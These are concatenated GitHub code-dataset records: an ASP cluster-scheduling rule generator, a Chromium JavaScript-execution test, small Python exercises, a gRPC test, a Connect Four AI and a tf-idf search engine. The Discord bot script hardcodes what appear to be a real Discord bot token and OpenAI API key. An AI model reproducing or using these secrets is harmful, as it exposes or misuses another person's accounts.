X2, X != X3, X != X4.\\n\")\n asp_file.write(\"% These rules allow for up to 4 task to be ran in parrallel on any one machine at a time, \\n\")\n asp_file.write(\"% if and only if the sum of the thread cost of said tasks does not add up to a number greater than \\n\")\n asp_file.write(\"% the core count of said machine. \\n\")\n # Comment section detailing the rules which allow for parrallel taks execution on a machine while preventing an overloading of a the machine's multi-threading capabilities.\n asp_file.write(\":- turned_at(X, M, t), cuda_not_on(M), cuda_needed(X).\\n\")\n asp_file.write(\":- turned_at(X, M, t), spacy_not_on(M), spacy_needed(X).\\n\")\n asp_file.write(\":- turned_at(X, M, t), psutil_not_on(M), psutil_needed(X).\\n\")\n asp_file.write(\":- turned_at(X, M, t), clingo_not_on(M), clingo_needed(X).\\n\")\n asp_file.write(\"% This section will prevent a program which requires a given toolkit from being scheduled to run on a machine\\n\")\n asp_file.write(\"% which does not have said toolkit.\\n\")\n asp_file.write(\":- move(X, Z, Y1), turned(X, Y2), Y1 == Y2.\\n\")\n asp_file.write(\":- move(X, Z, Y1), move(X, Z, Y2), Y1 != Y2.\\n\")\n asp_file.write(\":- move(X, Z, T1), turned(X,T2), T1 > T2, nobody_depends_on(X).\\n\")\n asp_file.write(\"% A program can not be moved and executed at the same time.\\n\")\n\n # This section may not needed as there is nothing wrong with creating duplicates of completed programs so long as they are needed.\n\n #asp_file.write(\":- move(X, Z1, Y), move(X, Z2, Y), Z1 != Z2.\\n\")\n #asp_file.write(\"% A program can not be moved to two different locations at the same time.\\n\")\n # By preventing a program from being moved to two different locations at the same time we prevent duplicates of programs from existing and proliferating throughout the system.\n asp_file.write(\":- turned(X1, T1), turned(X2, T2), depends_on(X2, X1), T1 >= T2, moved(X2,T).\\n\")\n asp_file.write(\"% A program can executed before all of it's dependencies.\\n\")\n \n asp_file.write(\"holds(on(X,Y),t) :- move(X,Y,t).\\n\")\n asp_file.write(\"holds(on(X,Z),t) :- holds(on(X,Z),t-1), not moved(X,t).\\n\")\n\n\n asp_file.write(\"holds(at(X,Y),t) :- turn(X,Y,t).\\n\")\n asp_file.write(\"holds(at(X,Z),t) :- holds(at(X,Z),t-1), not turned(X,t).\\n\")\n\n asp_file.write(\"valid_on(X, Y) :- thread_cost(X, Z1), machine_threads(Y, Z2), Z1 <= Z2.\\n\")\n asp_file.write(\":- os_needed(X, S), turned_at(X, M, t), not os_on(M, S), not -os_needed(X).\\n\")\n\n asp_file.write(\":- holds(on(X,M1),t), holds(on(X,M2),t), M1 != M2, holds(at(X,-done),t).\\n\")\n asp_file.write(\"% A program can not be duplicated if it has not been executed.\\n\")\n \n asp_file.write(\":- holds(on(X,M1),t), holds(on(X,M2),t), M1 != M2, task(X1), task(X2), not depends_on(X1, X), not depends_on(X2, X), X1 != X2, turned_at(X1, M1, T1), turned_at(X2, M2, T2).\\n\")\n asp_file.write(\"% A program can not be dupllicated if it is not the dependecy of at least two different later programs which are executed on atleast two diffent machines.\\n\")\n # This prevents the over-duplication of dependencies. \n # Given that sending programs is exspensive, limiting this process must be a priority.\n \n asp_file.write(\"% An unfinished program can not be at to two different locations at the same time.\\n\")\n asp_file.write(\"#program check(t).\\n\")\n asp_file.write(\":- query(t), goal(F), not holds(F,t).\\n\")\n\n asp_file.write(\"#show move/3.\\n\")\n asp_file.write(\"#show turned_at/3.\\n\")\n\n asp_file.write(\"#program base.\\n\")\n\n # Here all the tasks are added to the model\n all_tasks= []\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n asp_file.write(\"task(\"+job+\").\\n\")\n all_tasks.append(job)\n\n asp_file.write(\"os(ubuntu_DE).\\n\")\n asp_file.write(\"os(centOS_7_DE).\\n\")\n asp_file.write(\"os(centOS_7_NE).\\n\")\n asp_file.write(\"os(debian).\\n\")\n asp_file.write(\"os(red_hat).\\n\")\n asp_file.write(\"os(no_os).\\n\")\n\n\n # Here the needed toolkits for each task are added\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n for j in range(len(all_jobs[i][3])):\n if all_jobs[i][3][j] == \"CUDA\":\n asp_file.write(\"cuda_needed(\"+job+\").\\n\")\n elif all_jobs[i][3][j] == \"psutil\":\n asp_file.write(\"psutil_needed(\"+job+\").\\n\")\n elif all_jobs[i][3][j] == \"spaCy\":\n asp_file.write(\"spacy_needed(\"+job+\").\\n\")\n elif all_jobs[i][3][j] == \"clingo\":\n asp_file.write(\"clingo_needed(\"+job+\").\\n\")\n \n # Here, if a toolkit is designated to be installed on a machine then this fact is added to the model.\n for i in range(len(all_macs)):\n mac = all_macs[i][0]\n mac.replace(\" \", \"\")\n mac.lower()\n for j in range(len(all_macs[i][3])):\n if all_macs[i][3][j] == \"CUDA\":\n asp_file.write(\"cuda_on(\"+mac+\").\\n\")\n elif all_macs[i][3][j] == \"psutil\":\n asp_file.write(\"psutil_on(\"+mac+\").\\n\")\n elif all_macs[i][3][j] == \"spaCy\":\n asp_file.write(\"spacy_on(\"+mac+\").\\n\")\n elif all_macs[i][3][j] == \"clingo\":\n asp_file.write(\"clingo_on(\"+mac+\").\\n\")\n\n\n asp_file.write(\"% If a toolkit is not on on a machine then this rule is ture for that machine.\\n\")\n asp_file.write(\"cuda_not_on(X) :- location(X), not cuda_on(X).\\n\")\n asp_file.write(\"spacy_not_on(X) :- location(X), not spacy_on(X).\\n\")\n asp_file.write(\"psutil_not_on(X) :- location(X), not psutil_on(X).\\n\")\n asp_file.write(\"clingo_not_on(X) :- location(X), not clingo_on(X).\\n\")\n\n\n asp_file.write(\"% If a task can only be executed on a specific OS then the rule os_needed() represents this in the model.\\n\")\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n if all_jobs[i][1][1] == \"Ubuntu 18.04 [Desktop Edition]\":\n asp_file.write(\"os_needed(\"+job+\", ubuntu_DE).\\n\")\n elif all_jobs[i][1][1] == \"CentOS 7 [Desktop Edition]\":\n asp_file.write(\"os_needed(\"+job+\", centOS_7_DE).\\n\")\n elif all_jobs[i][1][1] == \"CentOS 7 [Node/server Edition]\":\n asp_file.write(\"os_needed(\"+job+\", centOS_7_NE).\\n\")\n elif all_jobs[i][1][1] == \"Unlisted Debian based OS\":\n asp_file.write(\"os_needed(\"+job+\", debian).\\n\")\n elif all_jobs[i][1][1] == \"Unlisted Red Hat based OS\":\n asp_file.write(\"os_needed(\"+job+\", red_hat).\\n\")\n elif all_jobs[i][1][1] == \"N/A\":\n asp_file.write(\"-os_needed(\"+job+\").\\n\")\n asp_file.write(\"% Here the OS of each machine in the cluster is represented in the model.\\n\")\n for i in range(len(all_macs)):\n mac = all_macs[i][0]\n mac.replace(\" \", \"\")\n mac.lower()\n if all_macs[i][7] == \"Ubuntu 18.04 [Desktop Edition]\":\n asp_file.write(\"os_on(\"+mac+\", ubuntu_DE).\\n\")\n elif all_macs[i][7] == \"CentOS 7 [Desktop Edition]\":\n asp_file.write(\"os_on(\"+mac+\", centOS_7_DE).\\n\")\n elif all_macs[i][7] == \"CentOS 7 [Node/server Edition]\":\n asp_file.write(\"os_on(\"+mac+\", centOS_7_NE).\\n\")\n elif all_macs[i][7] == \"Unlisted Debian based OS\":\n asp_file.write(\"os_on(\"+mac+\", debian).\\n\")\n elif all_macs[i][7] == \"Unlisted Red Hat based OS\":\n asp_file.write(\"os_on(\"+mac+\").\\n\")\n \n asp_file.write(\"% The thread_cost() rule represents how many threads a given task requires.\\n\")\n # At this time, ECU assumes that the user knows how many threads each task needs.\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n thread = str(all_jobs[i][4])\n asp_file.write(\"thread_cost(\"+job+\", \"+thread+\").\\n\")\n\n asp_file.write(\"% The depends_on(X1, X2) rule represents that X2 must be exectued and on the machine executing X1.\\n\")\n # A program P1 may need to be executed at a different machine than another program P2, even if P2 depends on P1. \n depended_on = []\n for i in range(len(all_jobs)):\n job0 = all_jobs[i][0]\n job0 = job0.replace(\" \", \"\")\n job0 = job0.replace(\".\", \"_\")\n job0 = job0.lower()\n for j in range(len(all_jobs[i][2])):\n job1 = all_jobs[i][2][j]\n\n job1 = job1.replace(\" \", \"\")\n job1 = job1.replace(\".\", \"_\")\n job1 = job1.lower()\n depended_on.append(job1)\n asp_file.write(\"depends_on(\"+job0+\", \"+job1+\").\\n\")\n \n for k in range(len(all_tasks)):\n for l in range(len(depended_on)) :\n if all_tasks[k] == depended_on[l]:\n all_tasks[k] = False\n break\n for k in range(len(all_tasks)):\n if all_tasks[k] != False:\n asp_file.write(\"nobody_depends_on(\"+all_tasks[k]+\").\\n\")\n \n asp_file.write(\"% The machine_threads() rule represents how many cores on any given machine.\\n\")\n # Though a task which has a higher multi-threading demand than the total cores on the machine which said task is being ran on may execute without issue, this is not always the case.\n # ECU assumes that every task being executed in a cluster is an exspensive task requiring near full usage of the core on any given machine.\n for i in range(len(all_macs)):\n mac = all_macs[i][0]\n mac.replace(\" \", \"\")\n mac.lower()\n thread = str(all_macs[i][6])\n asp_file.write(\"machine_threads(\"+mac+\", \"+thread+\").\\n\")\n \n asp_file.write(\"% Initialization of the statuses of all tasks.\\n\")\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n asp_file.write(\"init(on(\"+job+\", home)).\\n\") # All tasks are started at home.\n asp_file.write(\"init(at(\"+job+\", -done)).\\n\")\n \n asp_file.write(\"% Declartion of the goals of the system.\\n\")\n for i in range(len(all_jobs)):\n job = all_jobs[i][0]\n job = job.replace(\" \", \"\")\n job = job.replace(\".\", \"_\")\n job = job.lower()\n asp_file.write(\"goal(at(\"+job+\", done)).\\n\")\n\n # Comments for all loops are written to asp.lp\n \n asp_file.close()\n","repo_name":"AntonAlbertovich/Eusocial-Cluster-Utility","sub_path":"GUI_functions/build_asp.py","file_name":"build_asp.py","file_ext":"py","file_size_in_byte":15580,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"2456736237","text":"import os\nimport sys\nimport unittest\n\nimport pyauto_functional\nfrom pyauto import PyUITest\n\n\nclass ExecuteJavascriptTest(PyUITest):\n def _GetExtensionInfoById(self, extensions, id):\n for x in extensions:\n if x['id'] == id:\n return x\n return None\n\n def testExecuteJavascript(self):\n self.NavigateToURL(self.GetFileURLForDataPath(\n 'frame_dom_access', 'frame_dom_access.html'))\n\n v = self.ExecuteJavascript('window.domAutomationController.send(' +\n 'document.getElementById(\"myinput\").nodeName)')\n self.assertEqual(v, 'INPUT')\n\n def testGetDOMValue(self):\n self.NavigateToURL(self.GetFileURLForDataPath(\n 'frame_dom_access', 'frame_dom_access.html'))\n\n v = self.GetDOMValue('document.getElementById(\"myinput\").nodeName')\n self.assertEqual(v, 'INPUT')\n\n def testExecuteJavascriptInExtension(self):\n \"\"\"Test we can inject JavaScript into an extension.\"\"\"\n dir_path = os.path.abspath(\n os.path.join(self.DataDir(), 'extensions', 'js_injection_background'))\n ext_id = self.InstallExtension(dir_path)\n\n # Verify extension is enabled.\n extension = self._GetExtensionInfoById(self.GetExtensionsInfo(), ext_id)\n self.assertTrue(extension['is_enabled'],\n msg='Extension was disabled by default')\n\n # Get the background page's view.\n background_view = self.WaitUntilExtensionViewLoaded(\n view_type='EXTENSION_BACKGROUND_PAGE')\n self.assertTrue(background_view,\n msg='problematic background view: views = %s.' %\n self.GetBrowserInfo()['extension_views'])\n\n # Get values from background page's DOM\n v = self.ExecuteJavascriptInRenderView(\n 'window.domAutomationController.send('\n 'document.getElementById(\"myinput\").nodeName)', background_view)\n self.assertEqual(v, 'INPUT',\n msg='Incorrect value returned (v = %s).' % v)\n v = self.ExecuteJavascriptInRenderView(\n 'window.domAutomationController.send(bool_var)', background_view)\n self.assertEqual(v, True, msg='Incorrect value returned (v = %s).' % v)\n v = self.ExecuteJavascriptInRenderView(\n 'window.domAutomationController.send(int_var)', background_view)\n self.assertEqual(v, 42, msg='Incorrect value returned (v = %s).' % v)\n v = self.ExecuteJavascriptInRenderView(\n 'window.domAutomationController.send(str_var)', background_view)\n self.assertEqual(v, 'foo', msg='Incorrect value returned (v = %s).' % v)\n\n\nif __name__ == '__main__':\n pyauto_functional.Main()\n","repo_name":"ChromiumWebApps/chromium","sub_path":"chrome/test/functional/execute_javascript.py","file_name":"execute_javascript.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":223,"dataset":"github-code","pt":"82"} +{"seq_id":"3944099109","text":"# Задача 1: Найдите сумму цифр трехзначного числа.\n# 123 -> 6 (1 + 2 + 3)\n# 100 -> 1 (1 + 0 + 0)\n\nn = int(input('Введите трехзначное число:'))\nsum = 0\nif 99 < n <= 999:\n sum = n%10 + n//10%10 + n//100\nelse:\n print('Проверьте правильность введенных данных')\nprint(sum)","repo_name":"NoAnny/HW1Python","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73585432587","text":"def fact(n):\r\n # factorial\r\n if n == 0:\r\n return 1\r\n else:\r\n return n*fact(n-1)\r\n\r\n\r\ndef rec_sum(n):\r\n # recursive sum\r\n if n == 0:\r\n return 0\r\n else:\r\n return n + rec_sum(n - 1)\r\n\r\n\r\ndef sum_func(n):\r\n # sum of all the digits\r\n # Note: int doesn't have len()\r\n if len(str(n)) == 1:\r\n return n\r\n else:\r\n return n % 10 + sum_func(n//10)\r\n\r\n\r\ndef split_func(phrase, word, output):\r\n if phrase.startswith(word):\r\n output.append(word)\r\n\r\n\r\ndef word_split(phrase, list_of_words):\r\n output = []\r\n for word in list_of_words:\r\n split_func(phrase, word, output)\r\n phrase = phrase[len(word):]\r\n return output\r\n\r\n\r\n# factorial\r\nprint(fact(4))\r\nprint(fact(0))\r\n\r\n# recursive sum\r\nprint(rec_sum(4))\r\nprint(rec_sum(0))\r\n\r\n# sum of all digits\r\nprint(sum_func(4321))\r\nprint(sum_func(0))\r\n\r\nprint(word_split(\"ilovecat\", ['i','love','cat']))\r\nprint(word_split(\"doglovecat\", ['i','love','cat']))\r\n","repo_name":"Jiayi-Yang/python-hadoop","sub_path":"data_structure/recursive.py","file_name":"recursive.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72766610187","text":"from unittest.mock import MagicMock\nimport grpc\nimport grpc_testing\nimport identity_pb2\nimport pytest\n\n\nfrom .server import Identity\n\n\n\n@pytest.fixture\ndef test_server():\n servicers = {\n identity_pb2.DESCRIPTOR.services_by_name['Identity']: Identity()\n }\n\n return grpc_testing.server_from_dictionary(\n servicers, grpc_testing.strict_real_time(),\n )\n\n\ndef test_validate_request_valid_token(test_server):\n \n request = identity_pb2.ValidateTokenRequest(token=\"a-token\")\n validate_request_method = test_server.invoke_unary_unary(\n method_descriptor=(identity_pb2.DESCRIPTOR\n .services_by_name['Identity']\n .methods_by_name['ValidateToken']),\n invocation_metadata={},\n request=request, timeout=1)\n response, metadata, code, details = validate_request_method.termination()\n\n assert code == grpc.StatusCode.OK\n assert response.user_id == \"default-user-id\"\n\n\n\n","repo_name":"amitsaha/python-grpc-demo","sub_path":"grpc-middleware/unary-unary/server/service_test.py","file_name":"service_test.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"82"} +{"seq_id":"35305711496","text":"import discord\nimport openai\n\nintents = discord.Intents.default()\nintents.message_content = True\n\n # YOUR KEY HERE\ndiscord_token = 'MTE1Nzc1Mjc3NjIyNzU2MTU3NA.GmkcCz.INKc2YywxJGg0i0k8d8RB-NcAbNujkB3CU9bz0' \n\n # YOUR KEY HERE\nopenai.api_key = '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'\n\nclient = discord.Client(intents=intents)\n\n\n@client.event\nasync def on_ready():\n print(\"{0.user} has hacked into the mainframe\".format(client))\n\n\n@client.event\nasync def on_message(message):\n username = str(message.author).split('#')[0]\n user_message = str(message.content)\n channel = str(message.channel.name)\n\n if username == \"hackGPT\":\n print(username + \" RESPONDED \" +\n user_message.lower() + \" IN CHANNEL: \" + channel)\n else:\n print(username + \" SENT \" + user_message.lower() +\n \" IN CHANNEL: \" + channel)\n\n if message.author == client.user:\n return\n\n if message.content == '!help':\n embed = discord.Embed(title=\"🦠W31C0M3 to hackGPT 🦠\",\n description=\"An answer to EVERYTHING...\", color=0x006400)\n embed.set_thumbnail(url=\"https://cdna.artstation.com/p/assets/images/images/052/230/022/large/adam-nourse-dall-e-2022-07-27-02-53-29-a-fortune-telling-shiba-inu-reading-your-fate-in-a-giant-hamburger-digital-art.jpg?1659289847\")\n embed.add_field(name=\"Ask hackGPT\",\n value=\"!hack {prompt}\", inline=True)\n embed.add_field(name=\"Create an Image\",\n value=\"!spawn {prompt}\", inline=True)\n embed.add_field(\n name=\"The First Step to Efficiency\", value=\"Hack your lifestyle with hackGPT\", inline=False)\n embed.set_footer(icon_url=message.author.display_avatar,\n text=\"Session begun by: {}\".format(message.author.display_name))\n await message.channel.send(embed=embed)\n\n if message.content.startswith('!hack'):\n user_message = message.content.replace('!hack', '')\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[{\"role\": \"user\", \"content\": user_message}],\n max_tokens=200,\n temperature=1\n )\n\n output = response[\"choices\"][0][\"message\"][\"content\"]\n\n embed = discord.Embed(title=\"🧪 YOUR WISH IS MY COMMAND 🧪\",\n description=output, color=0x006400)\n\n await message.channel.send(embed=embed)\n print(output)\n\n if message.content.startswith('!spawn'):\n user_message = message.content.replace('!spawn', '')\n\n response = openai.Image.create(\n prompt=user_message,\n n=1,\n size=\"1024x1024\"\n )\n\n output = response['data'][0]['url']\n\n embed = discord.Embed(title=\"🧬\" + user_message +\n \" HAS BEEN SPAWNED 🧬\", color=0x006400)\n embed.set_image(url=output)\n\n await message.channel.send(embed=embed)\n\nclient.run(discord_token)\n","repo_name":"kennythai2003/hackathon","sub_path":"hackGPT/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70963877707","text":"import random\nimport copy\nimport time\nfrom game import *\n# update check win states bc storing the rows and columns now\n#COMBINE THE LOOPS FOR HORIZONTAL AND VERTICAL\nclass C4Node:\n\n def __init__(self, game_state):\n self.game_state = game_state\n self.rows = [game_state[i] for i in range(len(game_state))]\n self.columns = [[rows[i] for rows in game_state] for i in range(7)]\n\n self.diagonals = None #DEFINE DIAGOANLS\n\n self.upcoming_player = self.upcoming_player()\n self.winner = self.check_win_states()\n self.parents = []\n self.children = []\n self.depth = 0\n self.heuristic_value = None\n\n def upcoming_player(self):\n upcoming_player = 2\n flattened_board = sum(self.game_state, [])\n if flattened_board.count(1) == flattened_board.count(2):\n upcoming_player = 1\n return upcoming_player\n\n def print(self):\n for i in range(6):\n print(self.game_state[i])\n\n def check_win_states(self):\n # horizontal\n for i in range(4):\n for j in range(6):\n if self.game_state[j][i] == self.game_state[j][i+1] == self.game_state[j][i+2] == self.game_state[j][i+3] != 0:\n return self.game_state[j][i]\n\n # vertical\n for i in range(7):\n for j in range(3):\n if self.game_state[j][i] == self.game_state[j+1][i] == self.game_state[j+2][i] == self.game_state[j+3][i] != 0:\n return self.game_state[j][i]\n\n # positive diagonals\n for i in range(4):\n for j in range(3):\n if self.game_state[j][i] == self.game_state[j+1][i+1] == self.game_state[j+2][i+2] == self.game_state[j+3][i+3] != 0:\n return self.game_state[j][i]\n\n # negative diagonals\n for i in range(4):\n for j in range(3, 6):\n if self.game_state[j][i] == self.game_state[j-1][i+1] == self.game_state[j-2][i+2] == self.game_state[j-3][i+3] != 0:\n return self.game_state[j][i]\n\n # tie\n flat_list = []\n for rows in self.game_state:\n for i in range(len(rows)):\n flat_list.append(rows[i])\n\n if 0 not in flat_list:\n return 'Tie'\n\n def remaining_columns(self):\n #only need to check if the top element is zero\n open_columns = [i for i in range(7) if self.game_state[-1][i] == 0]\n return open_columns\n\n return open_columns\n \n def copy_of_copies(self): \n new_copy = [row.copy() for row in self.game_state]\n return new_copy\n \n def classify_horizontals(self): \n self.horizontal_three_of_a_kinds = []\n self.horizontal_two_of_a_kinds = []\n\n for horizontal in self.rows: \n for i in range(4): \n #2220\n if horizontal[0 + i] == horizontal[1 + i] == horizontal[2+i] != 0 and horizontal[3+i] == 0: \n if horizontal[0 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(3)\n else: \n self.horizontal_three_of_a_kinds.append(-3)\n\n #0222\n elif horizontal[0 + i] == 0 and horizontal[1 + i] == horizontal[2 + i] == horizontal[3 + i] != 0: \n if horizontal[1 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(3)\n else: \n self.horizontal_three_of_a_kinds.append(-3)\n\n #0022\n elif horizontal[0 + i] == horizontal[1 + i] == 0 and horizontal[2+i] == horizontal[3 + i] != 0: \n if horizontal[2 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n #2200\n elif horizontal[0 + i] == horizontal[1 + i] != 0 and horizontal[2+i] == horizontal[3 + i] == 0: \n if horizontal[0 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n\n #0220\n elif horizontal[0 + i] == horizontal[3 + i] == 0 and horizontal[1+i] == horizontal[2 + i] != 0: \n if horizontal[2 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n #2002\n elif horizontal[0 + i] == horizontal[3 + i] != 0 and horizontal[1+i] == horizontal[2 + i] == 0: \n if horizontal[0 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n #0202\n elif horizontal[0 + i] == horizontal[2 + i] == 0 and horizontal[1+i] == horizontal[3 + i] != 0: \n if horizontal[0 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n #2020\n elif horizontal[0 + i] == horizontal[2 + i] != 0 and horizontal[1+i] == horizontal[3 + i] == 0: \n if horizontal[0 + i] == self.upcoming_player: \n self.horizontal_three_of_a_kinds.append(2)\n else: \n self.horizontal_three_of_a_kinds.append(-2)\n\n return sum(self.horizontal_three_of_a_kinds) + sum(self.horizontal_two_of_a_kinds)\n\n def classify_verticals(self):\n\n self.vertical_three_of_a_kinds = []\n self.vertical_two_of_a_kinds = []\n\n for vertical in self.columns: \n for i in range(3): \n #0222\n if vertical[0 + i] == 0 and vertical[1 + i] == vertical[2 + i] == vertical[3 + i] != 0: \n if vertical[2 + i] == self.upcoming_player: \n self.vertical_three_of_a_kinds.append(3)\n else: \n self.vertical_three_of_a_kinds.append(-3)\n #0022\n elif vertical[0 + i] == vertical[1 + i] == 0 and vertical[2 + i] == vertical[3 + i] != 0: \n \n if vertical[2 + i] == self.upcoming_player: \n self.vertical_three_of_a_kinds.append(2)\n else: \n self.vertical_three_of_a_kinds.append(-2)\n \n return sum(self.vertical_three_of_a_kinds) + sum(self.vertical_two_of_a_kinds)\n \n self.diagonals_two_of_a_kinds = {}\n self.diagonals_three_of_a_kinds = {}\n \n def calc_heuristic_value(self): \n horizontal_total = self.classify_horizontals()\n vertical_total = self.classify_verticals()\n return ((horizontal_total + vertical_total ) / 40)\n\nclass Queue:\n def __init__(self):\n self.items = []\n\n def print(self):\n print(self.items)\n\n def enqueue(self, item):\n self.items.append(item)\n\n def dequeue(self):\n self.items.pop(0)\n\nclass C4HeuristicTree:\n def __init__(self,root, initial_ply):\n\n self.root = C4Node(root)\n self.nodes = {}\n self.nodes[tuple([tuple(self.root.game_state[i]) for i in range(6)])] = self.root\n\n self.initial_ply = initial_ply\n\n self.generate_initial_tree()\n\n def generate(self, nodes, ply): \n \n queue = Queue()\n visited_nodes = set()\n for node in nodes: \n queue.enqueue(node)\n visited_nodes.add(self.get_board_tuple(node.game_state))\n\n while len(queue.items) != 0:\n\n current_node = queue.items[0]\n if current_node.depth >= ply: \n break\n\n if current_node.winner == None: \n avaliable_columns = current_node.remaining_columns()\n current_board = current_node.game_state\n\n for column in avaliable_columns: \n\n new_move_board = current_node.copy_of_copies()\n new_move_row_index = self.row_index_of_move(column, new_move_board)\n new_move_board[new_move_row_index][column] = current_node.upcoming_player\n new_move_tuple_board = self.get_board_tuple(new_move_board)\n\n if new_move_tuple_board in visited_nodes:\n new_node = self.nodes[new_move_tuple_board]\n current_node.children.append(new_node)\n new_node.parents.append(current_node)\n new_node.depth = current_node.depth + 1\n continue\n\n new_node = C4Node(new_move_board)\n new_node.depth = current_node.depth + 1\n new_node.parents.append(current_node)\n current_node.children.append(new_node)\n queue.enqueue(new_node)\n self.nodes[new_move_tuple_board] = new_node\n visited_nodes.add(new_move_tuple_board)\n \n queue.dequeue() \n self.num_nodes = len(self.nodes)\n \n def generate_initial_tree(self): \n self.generate([self.root], self.initial_ply)\n \n def row_index_of_move(self, move, board):\n for i in range(6):\n row = 5-i\n if board[row][move] == 0:\n return row\n \n def get_board_tuple(self, game_state):\n return tuple(tuple(row) for row in game_state)\n \n def one_layer_tuple(self, depth): \n tuple_layer = []\n for nodes in self.nodes: \n node = self.nodes[nodes]\n if node.depth == depth: \n tuple_layer.append(nodes)\n return tuple_layer\n \n def prune_layer(self, depth):\n layer_to_prune = self.one_layer_tuple(depth)\n for nodes in layer_to_prune: \n self.nodes.pop(nodes)\n \n self.num_nodes = len(self.nodes)\n\n def add_layer(self, new_layer_depth): \n previous_layer_tuples = self.one_layer_tuple(new_layer_depth - 1)\n \n previous_layer_nodes = [self.nodes[node_tuples] for node_tuples in previous_layer_tuples]\n\n self.generate(previous_layer_nodes, new_layer_depth)\n \n def assign_heuristic_values(self, node): \n if node.children == []: \n if node.winner == 1:\n node.heuristic_value = 1\n elif node.winner == 2:\n node.heuristic_value = -1\n elif node.winner == 'Tie':\n node.heuristic_value = 0\n else: \n node.heuristic_value = node.calc_heuristic_value()\n \n \n else:\n children_heuristic_values = []\n\n for child in node.children:\n self.assign_heuristic_values(child)\n children_heuristic_values.append(child.heuristic_value)\n\n\n if node.upcoming_player == 1:\n node.heuristic_value = max(children_heuristic_values)\n else:\n node.heuristic_value = min(children_heuristic_values)\n \n return node.heuristic_value\n \n return \n\n\nclass HeuristicPlayer:\n def __init__(self,ply): \n self.ply = ply\n\n def choose_move(self, board):\n tree = C4HeuristicTree(board, self.ply)\n tree.assign_heuristic_values(tree.root)\n\n board_node = tree.root\n\n if board == [[0,0,0,0,0,0] for i in range(6)]: \n return 5\n \n\n children_heuristic_values_dict = {tree.get_board_tuple(children.game_state) : children.heuristic_value for children in board_node.children}\n\n if len(children_heuristic_values_dict) == 0: \n return random.choice(board_node.remaining_columns())\n\n if board_node.upcoming_player == 1: \n best_move_board = list(max(children_heuristic_values_dict, key=children_heuristic_values_dict.get))\n else: \n best_move_board = list(min(children_heuristic_values_dict, key=children_heuristic_values_dict.get))\n \n current_board = board_node.game_state\n\n best_move_index = 4\n for i in range(6): \n for j in range(7): \n if current_board[i][j] != best_move_board[i][j]: \n best_move_index = j\n return best_move_index","repo_name":"b3npaii/games","sub_path":"connect_four/celeste_strat.py","file_name":"celeste_strat.py","file_ext":"py","file_size_in_byte":12637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38706008689","text":"import pandas as pd\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport numpy as np\nimport sys \nimport json\nimport ProfileManager as pf\nimport DataBaseConnect as db\n\nclass SearchEngine:\n\n def tf_idf(self, search_keys, dataframe):\n \n vectorizer = pf.tfidf_search_engine()\n tfidf_weights_matrix = pf.get_tfidf_matrix(dataframe, vectorizer)\n search_query_weights = vectorizer.transform([search_keys]) \n \n return search_query_weights, tfidf_weights_matrix\n\n\n\n def cos_similarity(self, search_query_weights, tfidf_weights_matrix):\n \n cosine_distance = cosine_similarity(search_query_weights, tfidf_weights_matrix)\n similarity_list = cosine_distance[0]\n \n return similarity_list\n\n def most_similar(self, similarity_list):\n \n most_similar = []\n\n while True:\n tmp_index = np.argmax(similarity_list)\n if(tmp_index <= 0):\n break\n most_similar.append(tmp_index)\n similarity_list[tmp_index] = 0\n \n return most_similar\n\n def search(self, search_query, dataframe):\n # get tf_idf \n search_query_weights, tfidf_weights_matrix = self.tf_idf(search_query, dataframe)\n similarity_list = self.cos_similarity(search_query_weights, tfidf_weights_matrix)\n \n most_sim = self.most_similar(similarity_list)\n \n return dataframe['id'].iloc[most_sim]\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 3:\n raise Exception ('You must provide the data ')\n\n query = sys.argv[1]\n \n database = db.DataBaseConnect(\"compagnie\")\n\n ads = database.get_data(\"ads\")\n\n search_engine = SearchEngine()\n \n result = search_engine.search(query, ads)\n\n database.close_db()\n\n print(result.to_json())\n\n","repo_name":"tod01/compagnie-animale","sub_path":"recommender_system/SearchEngine.py","file_name":"SearchEngine.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5374232058","text":"import pkg_resources\n\nimport numpy 